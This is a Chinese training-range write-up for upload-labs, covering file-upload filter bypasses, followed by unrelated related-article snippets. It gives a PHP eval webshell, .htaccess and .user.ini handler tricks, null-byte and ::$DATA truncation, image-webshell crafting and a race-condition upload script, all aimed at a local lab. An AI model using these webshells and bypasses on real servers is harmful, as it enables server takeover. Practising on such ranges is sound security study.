upload-labs-master靶场训练笔记

2004.2.17

level-1

(前端验证) 

新建一个写有下面一句话木马的php文件,然后把后缀改为png

<?php @eval($_POST["abc"]); ?>

用bp抓包后更改文件后缀为php

再用蚁剑等工具链接即可拿下shell

 

level-2 

(后端验证) 

相较于level-1,后端验证可以直接传入php文件再更改Content-Type类型为image/png

(当然level-1的操作也是可以用的) 

 

后面的链接操作和level-1一样 

level-3

 (黑名单 - phtml绕过)

这里我用新版的小皮没有实现,然后给小皮降了版本后就可以了,用的是phpstudy2018

(具体原因未查明(懒癌晚期绝症患者),猜测是Apache的版本原因,或者是小皮的一些配置文件不一样) 

如图所示,打开 Apache 的配置文件

用 ctrl+f 找到 AddType application/x-httpd-php .php .phtml 并把前面的 # 删掉

保存重启一下,这下就可以解析 .phtml 的文件了

为了方便起见(别问,问就是懒╮(๑•́ ₃•̀๑)╭),后面都用<?php phpinfo(); ?>的一句话木马作为演示

<?php phpinfo(); ?>

修改文件后缀为.phtml,然后上传文件,并打开图片

出现如图界面即为成功

level-4

(黑名单 - htaccess绕过)

这次禁止了

.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf

这些后缀名的文件,那我们可以用 .htaccess 的文件去绕过

在黑盒测试中,可以使用bp爆破来分析哪些文件没被过滤

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阴止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

要使htaccess文件生效需要在Apache 的配置文件中设置 AllowOverride为All(默认是All)

创建一个名字为.htaccess的文件

Ps:如果电脑报错,可以尝试bp抓包时修改

.htaccess

写入可以将后来文件以php文件解释的内容 

SetHandler application/x-httpd-php

然后先上传.htaccess文件,在上传后缀是.png内容是一句话木马的文件

然后打开图片即可

level-5

(黑名单 - .user.ini 绕过)

我用php 5.4.45有问题,先改到 php 5.3.29 

然后修改php的配置文件

修改 user_ini.cache_ttl 后面的数字,后面的数字代表传入文件后相应的秒数,比如300的话,传入木马文件后得等300s才能执行

先上传一个以auto_prepend_file=text.png(等号后面的名字可自定义)为内容的.user.ini文件【用户自定义的配置文件】。

.user.ini文件里的意思是:所有的php文件都自动包含text.png文件,.user.ini相当于一个用户自定义的php.ini。

auto_prepend_file=text.png

然后再上传一个内容为一句话木马的命名为text.png的文件 

然后再查看readme.php文件(自带的文件) ,就可以执行刚才的木马文件

level-6

(黑名单 - 大小写绕过)

这次禁止了

.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess|.ini 

这些后缀名的文件,但是没有强制转换为小写的代码,那我们可以用 .phP 的文件去绕过 

用bp抓包后修改文件名 

如果出现如下错误,是php版本的问题,php5.4.45是没问题的

level-7

(黑名单 - 空格绕过)

 Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
针对这样的情况需要使用Bp截断HTTP请求,修改对应的文件名并添加空格

bp抓包后在文件后缀后面添加空格

level-8

(黑名单 - 点号绕过)

 原理和空格绕过类似

bp抓包后在文件后缀后面添加 .

level-9

(黑名单 - ::$DATA绕过) 

windows环境中,如果文件名+ ::$DATA 会把之后的数据当成文件流处理(相当于注释),不会检测后缀名.且保持 ::$DATA 之前的文件名

查看时去掉后面的 ::$DATA ,否则会403

level-10

(路径拼接绕过) 

没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。
例如:test.php.+空格+.
deldot删除最后一个点后,不再进行删除,trim删除空格,那么最终上传的文件名为 1.php.利用Windows自动去除最后一个点,导致成功上传1.php

抓包修改文件后缀为.php. .

level-11

(双写绕过)

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)(只替换一次)

该函数必须遵循下列规则:

  • 如果搜索的字符串是一个数组,那么它将返回一个数组
  • 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换
  • 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
  • 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。

Ps:

  • 该函数不区分大小写。可以使用 str_replace() 函数来执行区分大小写的搜索
  • 该函数是二进制安全的

说白了就是后缀改为.pphphp 

level-12

(白名单 - GET型%00绕过)

00截断原理
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符
系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。

Ps:

在PHP5.3之后的版本中完全修复了00截断。并且00截断受限与magic_quotes_gpc,addslashes函数

先将版本降至 5.2.17

再取消勾选 magic_quotes_gpc

 然后重启一下

在上传带有木马的php文件,然后如图修改 

最后访问文件

level-13

(白名单 - POST型%00绕过)

 上传带有木马的php文件,然后如图修改

 然后再16进制中修改刚才随便加的字符的16进制码为00

 

然后放包即可 

level-14

(文件包含)

图片Webshell制作

先准备一张正常的图片和一个带有木马的php文件

然后可以通过cmd制作图片马

copy 1.png /b + test.php /a test.png

通过记事本打开刚刚制作的test.png,划到最下面可以看到写入的一句话木马

然后上传图片后点击文件包含漏洞的文字可以转跳到带有文件包含漏洞的界面

通过复制图片链接可以知道文件的名字,然后如图拼接url可以实现漏洞的利用 

http://127.0.0.1/upload-labs-master/include.php?file=upload/4620240220064505.png

level-15

(文件包含)

 和level-14不同的是,level-14只检测了文件头,而level-15这是用了getimagesize()监测图像的大小和格式,只是检测方式不同,level-14做出的图片马依旧可以通过本关

level-16

(文件包含)

依然是检测方式的不同,源码使用了 exif_imagetype 函数所以要开启php_exif拓展

后续操作和level-14一模一样

level-17

(二次渲染)

所谓的二次渲染简单讲就是上传一张图片,服务器会对图片进行压缩,然后我们通过比较压缩前后的文件找到没被压缩的地方,并把那个地方替换成一句话木马,再上传来绕过的操作

最好找相同地方的文件就是gif了(我绝对不会说因为这个人太菜了而找不到png文件相同的地方的事实>_<|||) 

所以我们选用gif图片来演示 

制作gif图片马的方式和制作png图片马的方式一样

上传图片后,保存新的图片 

放入编码器(我用的是010 editor)中可以看到经过渲染,把原本的木马语句变没了

然后可以看到图中框选的区域就是压缩前后保持一样的地方

现在开始对test.gif进行操作,因为一句话木马是<?php phpinfo();?>所以字节码是

3C 3F 70 68 70 20 70 68 70 69 6E 66 6F 28 29 3B 20 3F 3E

注意这里3C对的是C列,3E对的是E列,后面粘贴时的起始位和结束位要对上

然后在刚才找到的没被压缩的地方截取一段(列数对上就行)替换成刚才的木马的字节码

然后再重新上传修改后的图片即可

level-18

(条件竞争)

先代码审计 

条件竞争就是赶在系统删除文件之前,运行木马文件,这样及使木马文件被删除了,运行的结果也已经被保留了

这里对木马文件进行更改,使其被执行后会生成一个名为success.php内容为<?php phpinfo();?>');?>的木马文件

<?php fwrite(fopen('success.php','w'),'<?php phpinfo();?>');?>

然而手动去竞争肯定是不太现实的,成功率太低了,要用魔法来打败魔法

先利用bp进行循环发送木马文件

在攻击模块中设置成无限循环,这样就可以一直发送木马文件

然后用python脚本进行访问文件

import requests
url = "http://127.0.0.1/upload-labs-master/upload/666.php"
print("开始")
while True:res = requests.get(url)if res.status_code == 200:print("成功")break

成功后就成功了

level-19

(条件竞争)

利用图片木马结合文件包含,并且要在图片马被删除之前访问到它与level-18类似

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/779042.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

中医面诊笔记

目录 面部五脏分区面部六腑分区眼袋大&#xff0c;黑的原因 面部色诊颧骨发红阴虚火旺为什么面部其它地方不发红而是颧骨发红&#xff1f; 人中 面部五脏分区 面部六腑分区 眼袋大&#xff0c;黑的原因 水湿重&#xff0c;比如眼袋大&#xff0c;眼袋黑&#xff0c;这是水湿过…

postgresql多选功能实现

一、背景介绍 在一所乡村小学&#xff0c;教师资源紧张&#xff0c;所以会出现一个教师身兼多职的情况&#xff0c;既是语文老师又是数学老师甚至还是体育老师&#xff0c;这个系统就是为各个班级分配老师&#xff0c;这样一个场景实现 二、代码实现及效果 后端country_teac…

深圳区块链交易所app系统开发,撮合交易系统开发

随着区块链技术的迅速发展和数字资产市场的蓬勃发展&#xff0c;区块链交易所成为了数字资产交易的核心场所之一。在这个快速发展的领域中&#xff0c;区块链交易所App系统的开发和撮合交易系统的建设至关重要。本文将探讨区块链交易所App系统开发及撮合交易系统的重要性&#…

JAR 文件规范详解

介绍 JAR文件是基于ZIP文件格式的一种文件格式&#xff0c;用来将许多文件整合成一个文件。一个JAR文件本质上是包含可选目录META-INF的zip文件&#xff0c;可以通过命令行jar工具或者在Java平台上使用java.util.jar中的API来创建。JAR文件的命名没有严格的要求&#xff0c;可…

免费采集伪原创工具,采集伪原创软件

在内容创作领域&#xff0c;为了提高生产效率和节省时间&#xff0c;许多站长和网络写手会借助采集伪原创工具来生成大量文章。这些工具能够从网络上抓取内容&#xff0c;并通过一定的处理和修改&#xff0c;生成看起来与原始内容不同但意义相近的伪原创文章。以下将就采集伪原…

leetcode:392. 判断子序列

题目&#xff1a; class Solution { public:bool isSubsequence(string s, string t) {} }; 题解&#xff1a; 很巧妙的题解&#xff1a;循环遍历两个字符串&#xff0c;两个字符串都没遍完就继续遍历&#xff0c;字符串s先遍历完结果为true&#xff0c;字符串t先遍历完结果为…

Elasticsearch 向量搜索

目标记录 ["你好&#xff0c;我的爱人","你好&#xff0c;我的爱妻","你好&#xff0c;我的病人","世界真美丽"] 搜索词 爱人 预期返回 ["你好&#xff0c;我的爱人","你好&#xff0c;我的爱妻"] 示例代码…

故障排查指南:通过连接电脑查找iOS应用崩溃日志的有效技巧

在iOS应用开发过程中&#xff0c;调试日志和奔溃日志是开发者必不可少的工具。当iOS手机崩溃时&#xff0c;我们可以连接电脑并使用Xcode Console等工具来查看日志。然而&#xff0c;这种方式可能不够方便&#xff0c;并且处理奔溃日志也相当繁琐。克魔助手的出现为开发者带来了…

基于springboot实现图书个性化推荐系统项目【项目源码+论文说明】

基于springboot实现图书个性化推荐系统演示 摘要 本论文主要论述了如何使用JAVA语言开发一个图书个性化推荐系统&#xff0c;本系统将严格按照软件开发流程进行各个阶段的工作&#xff0c;采用B/S架构&#xff0c;面向对象编程思想进行项目开发。在引言中&#xff0c;作者将论…

Nodejs 16与 gitbook搭建属于你自己的书本网站-第一篇

最近想重新搭建一个网站来存放自己的相关知识点&#xff0c;并向网络公开&#xff0c;有个hexo博客其实也不错的&#xff0c;但是总感觉hexo很多花里胡哨的玩意&#xff0c;导致挂载的博客异常卡&#xff0c;这样反而不利于我自己回顾博客了&#xff0c;于是我就开始钻研这个鬼…

computed计算属性、watch侦听器、生命周期

计算属性 点击查看 Vue文档 基础语法 多次使用计算属性&#xff0c;计算属性方法也只执行一次&#xff0c; 调用计算属性的方法不能加() 直接修改计算数学的值 计算属性不能通过双向绑定修改&#xff08;默认不能改&#xff09; 想要修改计算属性&#xff0c;就必须使用计…

LeetCode 206.反转链表

给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[5,4,3,2,1] 示例 2&#xff1a; 输入&#xff1a;head [1,2] 输出&#xff1a;[2,1] 示例 3&#xff1a; …

webpack项目打包console git分支、打包时间等信息 exec

相关链接 MDN toLocaleString child_process Node.js strftime 格式 代码 buildinfo.js const { execSync, exec } require("child_process"); // exec: 在 Windows 执行 bat 和 cmd 脚本// execSync 同步 // exec 异步// exec 使用方法 // exec(git show -s,…

SMBV100A罗德与施瓦茨SMBV100A信号源

181/2461/8938产品概述&#xff1a; 罗德与施瓦茨 SMBV100A 提供卓越的射频性能以及非常高的输出电平和较短的设置时间。同时&#xff0c;SMBV100A可配备内部基带发生器&#xff0c;以生成多种数字标准&#xff08;例如LTE、LTE-Advanced、IEEE802.11ac、GNSS&#xff09;。9 …

【C++杂货铺】内管管理

目录 &#x1f308;前言&#x1f308; &#x1f4c1; C/C中内存分布 &#x1f4c1; new 和 delete的使用 &#x1f4c1; new 和 delete的优点 &#x1f4c1; new 和 delete的原理 &#x1f4c2; operator new 和 operator delete函数 &#x1f4c2; 内置类型 &#x1f4c2…

Java中读取html文件转成String,展示在浏览器

这里写目录标题 第一章1.1&#xff09;pom中引入依赖和html文件示例1.2&#xff09;使用hutool工具包读取html文件转为string1.3&#xff09;页面显示 第一章 1.1&#xff09;pom中引入依赖和html文件示例 引入hutool工具包依赖 <dependency><groupId>cn.hutool&…

【C++程序员的自我修炼】基础语法篇(一)

心中若有桃花源 何处不是水云间 目录 命名空间 &#x1f49e;命名空间的定义 &#x1f49e; 命名空间的使用 输入输出流 缺省参数 函数的引用 引用的定义&#x1f49e; 引用的表示&#x1f49e; 引用的特性&#x1f49e; 常量引用&#x1f49e; 引用的使用场景 做参数 做返回值…

Docker进阶:Docker Swarm(集群搭建) —实现容器编排的利器

Docker进阶&#xff1a;Docker Swarm&#xff08;集群搭建&#xff09; —实现容器编排的利器 1、什么是Docker Swarm&#xff1f;2、Docker Swarm 与 Docker Compose的区别3、创建一个Swarm集群&#xff08;1-Manager&#xff0c;2-Worker&#xff09;1、资源准备2、初始化Swa…

使用Windows编辑工具直接编辑Linux上的代码

windows直接编辑Linux上代码 步骤如下&#xff1a; 1、按照samba 2、vim /etc/samba/smb.conf 3、输入以下内容 4 、重启下samba 输入以下内容 pkill smbd smbd 查看采用 ps -ef|grep smbd 给予文件权限&#xff1a; chmod 777 /code 5、winr 修改全选才能进入并且编写。…

快速上手Spring Cloud 六:容器化与微服务化

快速上手Spring Cloud 一&#xff1a;Spring Cloud 简介 快速上手Spring Cloud 二&#xff1a;核心组件解析 快速上手Spring Cloud 三&#xff1a;API网关深入探索与实战应用 快速上手Spring Cloud 四&#xff1a;微服务治理与安全 快速上手Spring Cloud 五&#xff1a;Spring …